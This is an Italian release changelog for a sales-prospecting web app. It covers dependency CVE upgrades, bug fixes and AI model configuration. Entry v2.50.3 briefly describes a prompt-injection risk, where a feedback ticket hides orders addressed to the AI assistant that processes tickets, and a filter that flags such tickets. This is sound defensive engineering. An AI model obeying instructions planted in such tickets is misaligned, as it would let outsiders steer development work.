Nota del 23/10/2026. Il controllo dipendenze di HQ ha segnalato in produzione certifi 2026.2.25 con una falla critica: PYSEC-2026-4320 / GHSA-6q48-6c7w-9gw2, il bundle delle CA comprende le radici emSign, le cui CA intermedie hanno chiavi compromesse; corretta dalla 2026.10.19, che toglie quelle radici. certifi è una dipendenza indiretta (la tirano dentro requests, httpx, httpcore, sentry-sdk) e, come anyio e urllib3 nella v2.50.1, il deploy a pin esatti non l'aggiornava mai: in produzione era ferma alla 2026.2.25 mentre il lock indicava già la 2026.5.20. Fissata nel manifesto certifi==2026.10.23, l'ultima su PyPI. Lockfile rigenerato con pip-compile --allow-unsafe --generate-hashes --no-strip-extras --no-emit-index-url: l'unica versione che cambia è certifi. L'opzione --no-index scritta nell'intestazione del lock precedente non va ripetuta: con pip-tools 7.6 non vuol più dire «non scrivere l'indice nel file» ma «non usare l'indice», e la risoluzione fallisce. pip-audit sul manifesto (come in test.yml) e sui pacchetti installati sul server: l'unica falla era questa. Nessuna modifica al codice.

• v2.50.6: requirements_fastapi.txt, requirements.lock, RUNBOOK.md.

2026-10-16 — v2.50.5 «Nessun sito» solo quando il sito manca davvero; la mappa recupera il report pronto

Nota del 16/10/2026. Segnalazione #243 di un agente: il prospect «Canyon Parcheggio» risultava senza sito, mentre Google e il database di SIH il sito lo avevano. Il filtro dei siti finti (_NOT_REAL_SITE e copie) era una regex senza ancora: cercava g.co ovunque nell'indirizzo e parking.com lo contiene. Ora la regex accetta solo l'host, sottodomini compresi, seguito da fine stringa, /, ?, # o :, come già faceva _is_real_site_host nel backend. Seconda parte della stessa segnalazione: la scansione Local Falcon era andata a buon fine (il server ha trovato il report al 14° tentativo e ha risposto 200), ma la pagina ha chiuso l'attesa senza mostrarlo. Ora, se l'attesa finisce in timeout o con un errore di rete dopo l'invio, la pagina rifà da sola la ricerca del report (vl_retryLoadReport) prima di dire «ancora in elaborazione»; un errore nel disegno dei risultati viene mostrato come tale e non più scambiato per attesa; il timeout dei 5 minuti abortisce con TimeoutError e non con un AbortError indistinguibile dal «Ricarica ora».

• v2.50.5: page-index.js, page-01-ricerca-prospect.js, page-racconto.js, page-smart.js, page-02-visibilita-locale.js, tests/test_sito_vero_frontend.py (+10, con node), sih-release-highlights.json, RUNBOOK.md.

2026-10-07 — v2.50.4 L'email di un nuovo agente deve essere un indirizzo vero

Nota del 7/10/2026. Un'agente non riusciva a entrare con la password giusta: l'account era stato creato con email e nome invertiti (email «veronica coltraro», nome l'indirizzo), quindi il login non trovava nessuno con quell'email e rispondeva «Credenziali non valide»; anche il reset della password era inutile. Era già successo il 7/7 con la stessa persona e il 19/5 con un indirizzo finito con un «>». Il record è stato corretto sul database. Ora POST /api/admin/agents rifiuta con 400 un'email che non è un indirizzo (_EMAIL_RE in routers/admin.py, dopo trim e minuscole) e un nome che contiene una @; anche PATCH /api/admin/agents/{id} rifiuta un nome con la @. Il pannello admin mostra il messaggio del server nell'avviso (il gestore degli errori lo mette in error; page-admin.js legge ora anche detail, per sicurezza). Gli account esistenti non cambiano.

• v2.50.4: routers/admin.py, page-admin.js, tests/test_admin_email.py (+7), RUNBOOK.md.

2026-10-07 — v2.50.3 I ticket letti da HQ passano da un filtro anti prompt injection

Nota del 7/10/2026. I feedback aperti dagli agenti vengono letti dallo sviluppo assistito (Claude) quando si processano i ticket, e chi scrive un feedback potrebbe nascondere nel testo ordini rivolti all'IA. La rotta firmata GET /api/ticket-aperti (routers/hq.py) porta ora per ogni feedback sospetto, motivi e filtro, calcolati dal filtro comune filtro_ticket.py (copia identica di quello di tutti gli applicativi col bottone Segnala; in deploy_fastapi.py::FILES) su titolo, descrizione, pagina, step, prospect, user agent ed errori della console. Il titolo esce ripulito dai caratteri invisibili. La descrizione continua a non uscire mai dalla rotta: escono solo le chiavi dei motivi. Il feedback sospetto si salva normalmente, non si rifiuta. Nessun cambiamento per gli agenti.

• v2.50.3: filtro_ticket.py, routers/hq.py, tests/test_hq_ticket.py, deploy_fastapi.py, TECH_DOCUMENTATION.md, RUNBOOK.md.

2026-10-06 — v2.50.2 Il rilascio toglie le librerie fuori dal manifesto

Nota del 6/10/2026. Il controllo dipendenze di HQ ha segnalato in produzione Werkzeug 3.1.8 (GHSA-g6x2-hccm-hh4m, media, corretta in 3.1.9). Werkzeug non è nel manifesto: era un avanzo del backend Flask tolto a maggio (v2.45.2), rimasto nel site-packages utente insieme a Flask, flask-cors, blinker, itsdangerous, Jinja2 e MarkupSafe, perché pip install aggiunge e non toglie mai. Verificato che nessun file li importasse, disinstallati a mano la mattina del 6/10 (elenco di prima in /home/customer/pip-freeze-20261006-prima-via-flask.txt). Per non ripetere il caso, nuovo pulisci_pacchetti.py (in deploy_fastapi.py::FILES) eseguito dallo step «sync pip deps» della CI subito dopo l'installazione: tiene i pacchetti del manifesto, i loro extra e tutto ciò che richiedono secondo i metadati installati, e disinstalla il resto; pip, setuptools, wheel esclusi; se un pacchetto del manifesto manca non tocca niente. Al primo rilascio toglie rsa (della vecchia python-jose) e pytest con iniconfig, packaging, pluggy, pygments, installati a mano il 16/4 e mai usati dal server (prova a secco del 6/10). Da qui in poi niente installazioni a mano in produzione: ciò che serve va nel manifesto.

• v2.50.2: pulisci_pacchetti.py, tests/test_pulisci_pacchetti.py, deploy_fastapi.py, .github/workflows/deploy.yml, RUNBOOK.md.

2026-10-02 — v2.50.1 Librerie con falle note aggiornate (segnalate da HQ)

Nota del 2/10/2026. Il primo giro del controllo dipendenze di HQ (v2.50.0) ha trovato in produzione 19 falle note in 7 librerie, quasi tutte dipendenze indirette che il deploy non aggiornava mai: la CI fa pip install --user -r requirements_fastapi.txt con pin esatti, quindi installa solo ciò che il manifesto nomina. Fissate nel manifesto le versioni senza falle note: anyio==4.15.1 (critica GHSA, corretta in 4.14.2), urllib3==2.8.0, idna==3.20, click==8.5.0, pyasn1==0.6.4 e pip==26.2.1 (anche pip installato sul server aveva falle note). Lockfile rigenerato con pip-compile --generate-hashes --allow-unsafe (l'opzione serve perché pip compaia nel lock, come pretende il controllo DEP-006). vendor/sentry.bundle.min.js da 7.114.0 a 7.120.4, l'ultima della serie 7 (stessa variante bundle.min.js, scaricata dal CDN ufficiale di Sentry; il passaggio alla 8+ cambia l'API di Sentry.init e resta fuori). inventario_dipendenze.py allineato al formato 2 (cerca anche gli indirizzi dei CDN dentro il codice). pip-audit sul manifesto: nessuna vulnerabilità nota.

• v2.50.1: requirements_fastapi.txt, requirements.lock, vendor/sentry.bundle.min.js, inventario_dipendenze.py, tests/test_hq_dipendenze.py.

2026-10-02 — v2.50.0 Rotta /api/dipendenze per HQ

Nota del 2/10/2026. Giuseppe centralizza in HQ il controllo delle dipendenze di tutti i suoi applicativi live, perché Dependabot c'è solo dove c'è GitHub. Nuova rotta GET /api/dipendenze in routers/hq.py: stessa firma HMAC e stessa chiave HQ_TICKET_KEY di /api/ticket-aperti (la firma include il percorso: una firma dei ticket non apre l'inventario, c'è una prova). Risponde con inventario_dipendenze.inventario() (file comune a tutte le app, nuovo, aggiunto a deploy_fastapi.py::FILES): versione dell'app e di Python, pacchetti installati nel processo che serve l'app, testa dei file .js serviti e URL esterni di script e fogli di stile. Esclusi tests/, data/, backup/, .venv, private/; nessuna configurazione né segreto. HQ lo legge ogni mattina alle 9 e confronta con OSV.dev. Per SIH si affianca a Dependabot e al Security Watch. Tolte da requirements_fastapi.txt le tre righe di nota sul pin di PyJWT aggiunte in v2.49.4 (la spiegazione resta nella voce v2.49.4 qui sotto).

• v2.50.0: routers/hq.py, inventario_dipendenze.py (nuovo), deploy_fastapi.py, requirements_fastapi.txt, tests/test_hq_dipendenze.py (6 prove).

2026-10-02 — v2.49.5 Security Watch: controllo Dependabot ogni giorno alle 9

Nota del 2/10/2026. I 13 alert su PyJWT sono comparsi su GitHub venerdì 2/10 alle 05:34, ma il controllo Dependabot del Security Watch girava solo il lunedi alle 07:00 UTC: l'ultimo (28/9) diceva «tutto verde» e il successivo sarebbe stato il 5/10, a correzione già rilasciata. Il tab Sicurezza di admin.html non li ha quindi mai mostrati, pur con SLA Critical di 4 ore. Su richiesta di Giuseppe il controllo gira ora ogni giorno alle 09:00 ora di Roma. .github/workflows/security-watch-weekly.yml (nome del file invariato per non rompere i riferimenti nella policy): due schedule, 0 7 * * * e 0 8 * * *, e un primo step ora che lascia proseguire solo quello giusto per l'offset di Europe/Rome (+0200 → 07:00 UTC, +0100 → 08:00 UTC), leggendo github.event.schedule e non l'ora di avvio, così un ritardo di GitHub non salta il controllo; l'avvio manuale prosegue sempre. Costo: circa 30 esecuzioni utili al mese più 30 che si fermano al primo step, un minuto fatturato ciascuna. Il task resta weekly_dependabot per non spezzare lo storico in security_watch_runs. Report trimestrale: sla_breaches_total sommava i breach di ogni esecuzione; con un controllo al giorno lo stesso alert scaduto sarebbe stato contato una volta per ogni giorno aperto. Ora conta gli alert distinti (numero Dependabot); il riepilogo dice «controlli Dependabot» e «alert oltre SLA». Etichette del pannello allineate.

• v2.49.5: .github/workflows/security-watch-weekly.yml, routers/security_watch.py, page-admin-security-watch.js, tests/test_security_watch_quarterly.py (2 prove; col vecchio conteggio la prima dava 4 invece di 2).

2026-10-02 — v2.49.4 PyJWT 2.13.0 → 2.15.1 (13 alert Dependabot)

Nota del 2/10/2026. Alle 05:34 Dependabot ha aperto 13 alert su PyJWT 2.13.0 (1 critical, 5 high, 7 medium), la libreria che firma e valida i token di login. La correzione indicata è la 2.14.0 (11/9/2026), che indurisce la validazione delle chiavi HMAC contro materiale di chiave pubblica passato come JWK, JWKS, array, codificato, con BOM, DER o PEM; rifiuta i redirect di PyJWKClient; limita i refresh JWKS; gestisce input JWS/JWK annidati o malformati senza ricorsione non gestita; applica le regole di codifica compatta e di payload staccato. Il pip-audit fatto prima del rilascio ha però trovato sulla 2.14.0 ancora PYSEC-2026-4141 (GHSA-42vr-xj54-vc7v, RecursionError su payload annidati prima della verifica della firma, corretta in 2.15.0): avrebbe fermato il passo pip-audit della CI su main. Si è quindi passati alla 2.15.1 (28/9/2026): rispetto alla 2.14.0 solo correzioni (errori incapsulati in DecodeError, cache JWKS, padding Base64URL finale accettato) e supporto Python 3.15. Il nostro uso (auth.py, server_fastapi.py, routers/auth.py) è solo jwt.encode/jwt.decode HS256 con whitelist algorithms=['HS256'], niente JWK. Verifiche: 107 prove di autenticazione, MFA e JWT verdi con 2.15.1 (89 anche con 2.14.0); sul server di produzione, in una cartella temporanea poi rimossa, encode e decode con il SIH_JWT_SECRET vero passano anche con il controllo più severo sulle chiavi. Stesso algoritmo e stesso segreto: i token in circolazione restano validi, nessun logout di massa. pip-audit sul manifest aggiornato: nessuna vulnerabilità nota.

• v2.49.4: requirements_fastapi.txt, requirements.lock (hash della 2.15.1 da PyPI), docs/SECURITY.md, TECH_DOCUMENTATION.md. La CI installa il pin sul server (pip install --user -r requirements_fastapi.txt) prima del reload.

2026-09-28 — v2.49.3 Sentry non segnala il 503 voluto della sospensione Local Falcon

Nota del 28/9/2026. Dopo la v2.49.2 Sentry ha aperto un issue per GET /api/lf/account: l'integrazione FastAPI di sentry-sdk segnala ogni HTTPException 5xx, compreso il 503 voluto di _lf_attivo. Nuovo core.sentry_before_send, passato a sentry_sdk.init(before_send=...) in server_fastapi.py: scarta solo le eccezioni con status_code == 503 e detail == LF_SOSPESO_MESSAGGIO; ogni altro 5xx e ogni crash restano segnalati. Verificato con il vero SDK e un trasporto finto: con il filtro parte solo il guasto vero, senza filtro partono entrambi.

• v2.49.3: core.py, server_fastapi.py, tests/test_lf_sospeso.py (+1 prova).

2026-09-28 — v2.49.2 Interruttore LF_SOSPESO: Local Falcon spento con avviso agli agenti

Nota del 28/9/2026. Richiesta di Giuseppe: Local Falcon ha problemi sui suoi server, va spento momentaneamente con un avviso ben visibile che non dipende da SIH. Nuovo interruttore LF_SOSPESO=1 in /home/customer/sih.env, letto da core.lf_sospeso() (valori accesi: 1, true, si, yes, on). Con l'interruttore acceso: lf_get, lf_post e lf_run_scan in routers/external.py non chiamano Local Falcon e restituiscono core.LF_SOSPESO_MESSAGGIO; le 9 rotte /api/lf/* rispondono 503 con lo stesso messaggio (dipendenza _lf_attivo); POST /api/batch/analyze risponde 503 senza creare job; la pipeline Smart salta la mappa (_run_local_falcon_for_smart restituisce None, come quando la scansione non arriva). /api/frontend-settings espone lf_sospeso, /api/status local_falcon_sospeso e scan_available=false. Frontend: sih-topbar.js mostra su tutte le pagine autenticate un banner giallo sopra la barra (#sihLfBanner); page-02-visibilita-locale.js non chiede crediti né report e sostituisce il modulo di scansione con l'avviso. Riattivazione: togliere la riga da sih.env e fare il reload; il banner sparisce da solo. Procedura nel RUNBOOK, sezione «Local Falcon ha problemi».

• v2.49.2: core.py, routers/external.py, routers/batch.py, routers/smart.py, routers/system.py, sih-topbar.js, page-02-visibilita-locale.js, tests/test_lf_sospeso.py (5 prove; senza la modifica ne falliscono 4).

2026-09-24 — v2.49.1 Scansione Local Falcon: un solo invio, mai tre (ticket #242)

Nota del 24/9/2026. Ticket #242 (agente, step 2): la scansione restava in elaborazione e finiva con «Failed to fetch». Causa misurata: quel giorno POST /v2/run-scan/ di Local Falcon impiegava 360 secondi ad accettare la richiesta (risposta 202). lf_post aspettava 60 s e sul timeout ritentava fino a tre volte: con Local Falcon lento la scansione non partiva e la richiesta del browser durava ~3 minuti fino a cadere; con Local Falcon normale (23/9) partivano tre scansioni identiche a un minuto di distanza, crediti pagati tre volte. Correzione: nuova lf_run_scan() in routers/external.py, un solo POST in un thread con timeout di 600 s, attesa massima di 25 s; se Local Falcon non ha ancora risposto l'endpoint restituisce subito poll: true e il polling su /v1/reports/ fa il resto. La usano sia /api/lf/scan sia la pipeline Smart. lf_post resta con i suoi tentativi per le chiamate idempotenti (report, salvataggio location). Frontend: un errore di rete dopo l'invio mostra lo stato «scansione ancora in elaborazione» invece del messaggio grezzo del browser.

• v2.49.1: routers/external.py, routers/smart.py, page-02-visibilita-locale.js, tests/test_lf_run_scan.py (4 prove; col vecchio invio falliscono con 3 chiamate invece di 1).

2026-09-23 — v2.49.0 Tier unico Opus 5.5 su tutte le personas (thinking sempre acceso, effort esplicito)

Nota del 23/9/2026. Richiesta di Giuseppe («Sì, cambialo e rilascia»): tutte e 13 le personas, AVA inclusa, passano da claude-opus-5 a claude-opus-5-5 (Opus 5.5). ai_personas.py: DEFAULT_MODEL e PREMIUM_MODEL entrambi a claude-opus-5-5. Listino: $4/$20 per MTok (Opus 5 era $5/$25), lettura cache $0,20. routers/admin.py::AI_PRICING ha la riga nuova e conserva quella di Opus 5 per calcolare i costi storici; opus_keys include claude-opus-5-5; MODEL_LABELS: Opus 5.5 «in uso», Opus 5 «storico». Cambiamenti di API che hanno richiesto codice: su Opus 5.5 il thinking non si può spegnere — thinking={'type':'disabled'} e budget_tokens rispondono 400 a qualunque effort. Il disabled introdotto col fix #230 (v2.40.1) e confermato in v2.44.0 è stato tolto dai 3 call site (routers/smart.py, routers/racconto.py, routers/external.py), che ora chiamano messages.create(**ai_personas.request_params(persona), messages=...). request_params() restituisce modello, system, output_config={'effort': EFFORT} con EFFORT = 'high' (su Opus 5.5 il default sarebbe medium, un gradino sotto Opus 5: lo fissiamo per non perdere qualità) e max_tokens = persona['max_tokens'] + THINKING_TOKEN_MARGIN (8000). Il margine serve perché il ragionamento conta dentro max_tokens: con i vecchi tetti (900 token per molte personas) il thinking avrebbe consumato il budget prima del testo, cioè esattamente il guasto #230. Il margine non costa nulla se non viene usato (si paga il consumato) e tiene il totale massimo (14.000 sul Narratore) sotto la soglia in cui l'SDK pretende lo streaming. Le guardie #230 sul testo vuoto restano. Nessun altro pattern incompatibile nel codice: niente temperature/top_p/top_k, niente tool_choice, niente prefill dell'assistente. La riga «non includere tag XML interni» nelle regole condivise resta: era la mitigazione del thinking spento, ora innocua. Prova vera (23/9, dal server di produzione, SDK 0.120.0): sentiment_analyst su 4 recensioni di prova → 200, stop_reason=end_turn, blocchi thinking+text, 3.033 token in / 1.310 out, 13 s, $0,038. Nota costi: i token di ragionamento sono fatturati come output e ora compaiono in tokens_out, quindi il costo per chiamata può salire anche con il listino più basso. 2 test nuovi (request_params senza parametri vietati; nessun call site con thinking spento o budget_tokens).

• v2.49.0: ai_personas.py, routers/admin.py, routers/smart.py, routers/racconto.py, routers/external.py, tests/test_ai_personas_prompts.py, docs/PROVIDERS.md, TECH_DOCUMENTATION.md. Frontend: nessuna modifica.

2026-09-18 — v2.48.1 Le chiamate Claude vanno anche a HQ SEO (Costi API)

Tassello del progetto «Costi API in HQ SEO» di Giuseppe (18/9/2026: un registro centrale che dice, mese per mese, quale applicazione spende, su quale modello e per cosa). Il client Anthropic che server_fastapi.py mette in AI_PERSONAS['client'] (due punti: avvio e _refresh_anthropic_client) viene avvolto da costi_hqseo.avvolgi(): ogni messages.create registra la risposta (token in/out e cache, modello, scopo = router chiamante: smart-briefing, racconto, analisi-esterna) nel registro hqseo_costi.RegistroCosti (copia di Claude SEO/strumenti/registra_costo.py), che scrive subito un file locale e una coda in HQSEO_COSTI_CARTELLA e spinge a HQ SEO in un thread di sfondo, firmato HMAC, al più una volta al minuto; se HQ SEO tace la coda riparte al giro dopo. Le unità viaggiano grezze: il prezzo lo fa HQ SEO col suo listino. Configurazione in sih.env (HQSEO_COSTI_APP, HQSEO_COSTI_CHIAVE, HQSEO_URL, HQSEO_COSTI_CARTELLA); senza chiave il registro è spento e il client si comporta come prima. Il conteggio interno già esistente (tokens_in/out nella cache profonda) resta com'è.

• v2.48.1: BE +costi_hqseo.py, +hqseo_costi.py; server_fastapi.py avvolge il client nei due punti; deploy_fastapi.py FILES +2. Test: tests/test_costi_hqseo.py (4, senza rete). Frontend: nessuna modifica.

2026-09-18 — v2.48.0 Ripristino completo del lavoro alla riapertura (parte 2 #241) + stampa rifatta

Due segnalazioni agenti portate da Giuseppe. (1) «Rientrando nel prospect lavorato l'applicazione ricomincia da capo». Root cause: i risultati degli step 02-05 esistevano solo in localStorage.sih_proposal_data, che la pulizia anti-ghost del prospect-guard azzera e ricostruisce minimale; dal percorso Hub (page-index.js rimuove sih_prospect_id, navigazione senza ?prospectId) il guard usciva prima di qualunque ripristino; _vl_buildProposalBase (step 02) ricostruiva il pd da zero cancellando scan/social/competitorIntel/savedAnalysis; lo step 03 rilanciava sempre le chiamate SEO (nessuna cache server-side sui domini → crediti bruciati a ogni rientro); lo step 05 non rileggeva mai competitorIntel. Fix (piano approvato il 2026-09-01): persistenza server-side per prospect+step. Nuova tabella workflow_states (unique prospect_id+step, payload JSON opaco MEDIUMTEXT, cap 400 KB, cascade su delete prospect, FK agente azzerata in admin_delete_agent); endpoint GET /api/prospects/{pid}/workflow-state (owner o admin read-only), PUT …/workflow-state/{step} (solo owner; step scan|seo|social|competitor), GET /api/prospect-lookup?place_id= (pid del prospect già esistente, owner-scoped anche per admin, non crea nulla). Nuovo modulo sih-workflow-state.js (save/load/hydrate/lookupPid/showBanner; contratto {pd, view}: pd = chiavi rifuse in sih_proposal_data, view = dati potati per il re-render; debounce 1 s + flush su pagehide; no-op in admin view e Demo; il dato live vince sempre; mai merge su pd di un altro prospect). sih-prospect-guard.js: _restoreWork (hydrate, poi fallback snapshot v2.47.2 per i prospect pre-2.48: nessun backfill possibile), risoluzione pid via lookup sul percorso Hub, rebuild dal server quando c'è ?prospectId esplicito e browser pulito (solo con pid in URL: un sih_prospect_id orfano non basta, sarebbe ghost). Pagine 02-05: salvataggio a fine analisi e ripristino con banner di freschezza .sih-ws-banner; nessuna analisi a pagamento riparte da sola. Scelta sul namespacing: il piano prevedeva sih_proposal_data_<pid>; non adottato perché il pid non esiste finché lo step 02 non fa l'upsert (la chiave nascerebbe senza nome) — l'obiettivo (la pulizia anti-ghost non deve più costare lavoro) è raggiunto rendendo lo stato sempre ricostruibile dal server. Bug trovati in verifica browser e corretti: scansione Demo salvata come dato reale se cliccata con un prospect vero caricato (step 02, flag _demo); verdetto categoria assente in admin view al ripristino (view.catMine); step 06 tryLoad cancellava manual_competitors. (2) «In stampa si perdono molte info, grafica migliorabile, diversità schermo/stampa». Root cause: <details> chiusi non stampano; nessun print-color-adjust (titoli gradient-clip invisibili, th scure bianco su bianco, barre vuote); max-height/overflow/line-clamp mai neutralizzati; step 05 senza alcun CSS di stampa; B/N forzato su 04; i due popup dello step 06 senza font Inter, con due CSS divergenti, print() a timeout fisso e senza lo step 5 (competitorIntel mai letto dai builder); Ctrl+P sullo step 06 usciva quasi vuoto. Fix: nuovi sih-print.css + sih-print.js (SIH.print.prepare/restore su beforeprint/afterprint: apre i details marcandoli, rende eager le immagini lazy, sblocca i contenitori realmente tagliati, intestazione di stampa con nome attività e data; badge fonte dati nascosti sui fogli per il cliente) inclusi in 02-05 — NON in sih-premium.css, il cui cache-buster è pinnato ?v=2.13.0 ed escluso dal bump. Step 06: blocco stampa riscritto su un'unica base (_dp_printBaseCss, _dp_printCtx, _dp_buildPrintDoc(kind), sezioni _dpp_* fra cui _dpp_secCompetitors); sostituiscono _dp_buildFullAuditHtml, _dp_auditPrintCss e _aiBriefBlock citati nelle note v2.21.8/v2.22.3/v2.29.2 qui sotto, che restano come storia. _dp_finalizePrintWindow attende font e immagini reali (tetto 5 s) mantenendo focus() e avviso popup del fix #213; popup aperto subito sul click (prima dei fetch) contro i popup blocker; beforeprint ricostruisce sempre #printSummary. L'audit resta senza prezzi/prodotti e senza «Gancio commerciale» (#198, #227-229); la proposta li include. La velocità del sito in stampa ripiega sullo stato salvato dello step 3 quando manca la cache locale. Racconto e Smart non toccati (#234 resta decisione di prodotto aperta).

• v2.48.1: le chiamate Claude registrate anche in HQ SEO (Costi API): costi_hqseo.avvolgi() sul client in server_fastapi.py, 4 test, nessuna modifica frontend.
• v2.48.0: BE db.py +WorkflowState; routers/prospects.py +3 endpoint; routers/admin.py nullable target; migrate.py lista verifica. FE +sih-workflow-state.js, +sih-print.css, +sih-print.js; sih-prospect-guard.js; page-02…06; include e @media print consolidati in 02…06.html; deploy_fastapi.py FILES +3. Test: tests/test_workflow_state.py (33) + 3 file statici frontend (41); suite completa 764 passed. Verifica: E2E Chromium headless contro backend locale reale (guard+modulo 16/16; step 02 72/72; step 03 74/74; step 04/05 36/36 con API simulate): al rientro zero chiamate alle analisi a pagamento e zero PUT; PDF reali generati senza «grafica di sfondo» e confrontati prima/dopo. Non verificato: Firefox/Safari, dialogo di stampa reale, payload reali dei provider, MySQL (solo SQLite).

2026-09-01 — v2.47.2 Ticket #241: riapertura prospect senza più azzerare lo score

Segnalazione agente (ticket #241): riaprendo un prospect già analizzato dallo Storico, lo step 6 ripartiva con audit vuoto e score a zero. Root cause (regressione per omissione): il ripristino dall’ultima Analysis esiste dal v2.21.0 ma solo in admin view (sih-admin-view.js::bootstrapProspect fa GET /api/analyses?prospect_id=N&limit=1); per l’agente proprietario né il ramo URL di step 6 (#199) né il rebuild del prospectGuard (v2.25.0) recuperavano l’analisi salvata — la guard anzi azzera sih_proposal_data ad ogni cambio prospect (per design anti-ghost #238/#239) anche quando i dati corretti sono in DB. Fix: (1) sih-prospect-guard.js — nuovi helper _fetchLastAnalysis/_ensureSavedAnalysis: l’ultima Analysis (score + riassunto pilastri) viene agganciata a sih_proposal_data.savedAnalysis sia nel rebuild sia nel percorso coerente quando mancano dati live. (2) page-06-diagnosi-proposta.js — il ramo URL #199 fetcha anche /api/analyses; tryLoad preserva savedAnalysis; nuova _dp_snapshotScoreResult() ricostruisce un result compatibile con calcCumulativeScore dai pillars salvati ({name, pts, max, coverage} riarricchiti con key/color/icon, weights dai max, detail con data dell’analisi) usato SOLO se non ci sono scan/SEO live; saveAuditSnapshot salta il salvataggio quando il result ha _restoredSnapshot (evita righe duplicate/degradate in analyses e market_snapshots — in admin view il problema non si poneva perché il wrap fetch blocca i POST). La checklist dei ranking factor resta vuota sul ripristino (i payload grezzi di step 03/05 non sono persistiti — limite noto, eventuale evoluzione separata). Solo frontend, zero BE/schema.

• v2.47.2: sih-prospect-guard.js — aggancio savedAnalysis dall’ultima Analysis in rebuild e percorso coerente; page-06-diagnosi-proposta.js — fetch analyses nel ramo URL, _dp_snapshotScoreResult, skip saveAuditSnapshot su score ripristinato. Chiude il ticket #241.

2026-08-31 — v2.47.1 Ticket #239 + #240: ghost dal percorso Hub + screenshot segnalazioni bloccato dalla CSP

Due segnalazioni agente (stesso autore del #238). (1) Ticket #239, ghost residuo: il fix v2.46.2 copriva solo page-01-ricerca-prospect.js, ma il percorso principale post v2.17 è la Home unificata: né la ricerca né onSubmitAudit in page-index.js rimuovevano sih_prospect_id del cliente precedente (scritto da step 2/6). Il prospectGuard degli step lo considera target autoritativo, rileva il mismatch col place_id fresco di sih_prospect_selected e ricostruisce il cliente vecchio scartando la selezione appena fatta — visibile soprattutto saltando lo step 2 (es. solo modulo Web&SEO → primo step il 3, esattamente il caso del ticket). Fix: cleanup di sih_prospect_id (+ sih_prospect_selected nella ricerca) nei 2 punti del Hub; corretta anche la riga storica v2.18.2 che rimuoveva 'sih_ai_sentiment_' + payload.id con payload.id sempre undefined (ora scan per prefisso). (2) Ticket #240, screenshot: sih-feedback.js lazy-loadava html2canvas da cdn.jsdelivr.net, ma la CSP script-src 'self' (audit 26/07, finding 5.5) blocca gli script esterni: la cattura falliva per tutti da un mese. Il caso era sfuggito al self-hosting di Chart.js/Leaflet/Sentry perché il caricamento è costruito a runtime e non compare negli <script src> degli HTML. Fix: vendor/html2canvas.min.js self-hosted (1.4.1, stessa versione), zero modifiche CSP. Solo frontend, zero BE/schema.

• v2.47.1: page-index.js — cleanup sih_prospect_id/sih_prospect_selected su nuova ricerca e submit audit + sentiment stale per prefisso; sih-feedback.js — html2canvas da /vendor/; nuovo vendor/html2canvas.min.js. Chiude i ticket #239 e #240.

2026-08-30 — v2.47.0 Keepalive prod schedulato + rotta firmata per HQ

Doppia origine. (1) Incident 30/08: il processo backend è stato terminato silenziosamente dall’hosting poco dopo il deploy del 28/08 ed è rimasto giù ~36 ore: l’auto-recovery di v2.45.8 è interamente traffic-triggered (proxy → flag → healthcheck) e nel weekend, senza visite, non scatta mai. Nuovo workflow schedulato keepalive.yml (ogni 15 min): probe /api/status via socket locale e, se il backend non risponde, respawn con lo stesso flusso reload.php del deploy; 3 tentativi di connessione SSH con backoff (l’incident è emerso proprio da un timeout TCP transitorio del cron evict, primo in mesi, risolto con rerun). (2) Rotta HQ: integrata nel ramo GET /api/ticket-aperti (nata fuori repo il 28/08, team HQ; i rilasci v2.46.1/.2 la cancellavano perché riscrivevano i file di aggancio). File nuovo routers/hq.py: firma HMAC-SHA256 su metodo+percorso+ora+nonce+hash corpo, finestra 5 minuti, anti-replay sul nonce, chiave in env fuori repo; payload minimale dei soli feedback non chiusi (id, titolo, autore, tipo, severità, stato, data — niente descrizione né dati prospect). proxy.php inoltra le tre intestazioni di firma solo se conformi a whitelist [A-Za-z0-9_-]{1,128}. 6 test nuovi in tests/test_hq_ticket.py.

• v2.47.0: .github/workflows/keepalive.yml (probe + respawn, schedule */15); routers/hq.py + aggancio in server_fastapi.py + whitelist header in proxy.php — da questa release la rotta HQ sopravvive ai deploy.

2026-08-28 — v2.46.2 Ticket #238: prospect fantasma su nuova selezione da step 1

Segnalazione agente (ticket #238): selezionato «Medacciai» (Bari) dalla ricerca step 1, lo step 3 Web&SEO mostrava l’analisi di «Sinergo» (Terni), il prospect lavorato in precedenza dallo stesso agente. Root cause (doppia, stessa famiglia ghost): (1) né la nuova ricerca (cleanup H-07) né avviaAudit in page-01-ricerca-prospect.js rimuovevano sih_prospect_id e sih_prospect_selected del prospect precedente; in step 3 il guard considera sih_prospect_id autoritativo (nessun ?prospectId in URL) e ricostruisce il vecchio prospect sovrascrivendo la selezione fresca, e in parallelo la hydration priority-1 legge sih_prospect_selected (sempre il vecchio). (2) Bug latente in sih-prospect-guard.js dal v2.28.3: nel ramo «senza targetPid» la variabile placeIds era usata ~20 righe prima della sua definizione (var hoisting → undefined → TypeError inghiottito dal catch esterno), quindi la ghost-detection per URL pulito + sih_prospect_id assente non è mai scattata. Fix: cleanup delle 2 chiavi mancanti in 3 punti di page-01 (nuova ricerca H-07, avviaAudit, resetSearch) + placeIds calcolato prima dell’uso nel guard. Solo frontend, zero BE/schema/test.

• v2.46.2: page-01-ricerca-prospect.js — cleanup di sih_prospect_id + sih_prospect_selected in 3 punti (nuova ricerca H-07, avviaAudit, resetSearch); sih-prospect-guard.js — placeIds hoisted prima del ramo !targetPid (TypeError silenzioso dal v2.28.3 che disattivava la ghost-detection senza targetPid). Chiude il ticket #238.

2026-08-28 — v2.46.1 DEP: cryptography 48.0.1→50.0.1 (3 CVE, gate pip-audit)

pip-audit rosso su entrambe le matrix CI dopo la pubblicazione di PYSEC-2026-3552/3553/3554 su cryptography 48.0.1 (oracolo Bleichenbacher in pkcs7_decrypt_*; DoS esponenziale nel chain building X.509; wildcard SAN che scavalca i name constraints). Nessuno dei tre percorsi è usato da SIH — cryptography serve per Fernet (tabella secrets, MFA secret) e TOTP — ma il pin esatto ==48.0.1 bloccava il fix. Pin portato a ==50.0.1; Fernet verificato su 50.0.1 con 94 test crypto-correlati verdi in locale. ~~Il venv di produzione va allineato al prossimo pip install -r~~ — già fatto dallo stesso deploy: deploy.yml esegue pip install --user -r requirements_fastapi.txt sul server PRIMA del reload, quindi la prod è passata a 50.0.1 contestualmente (misurato 2026-08-28 via SSH: pip show cryptography → 50.0.1; Fernet vivo verificato con lettura dei 9 secrets via /api/admin/secrets). Le CVE non erano comunque sfruttabili nei percorsi SIH.

2026-08-28 — v2.46.0 Report utilizzo admin: storico per agente con selettore date + export CSV

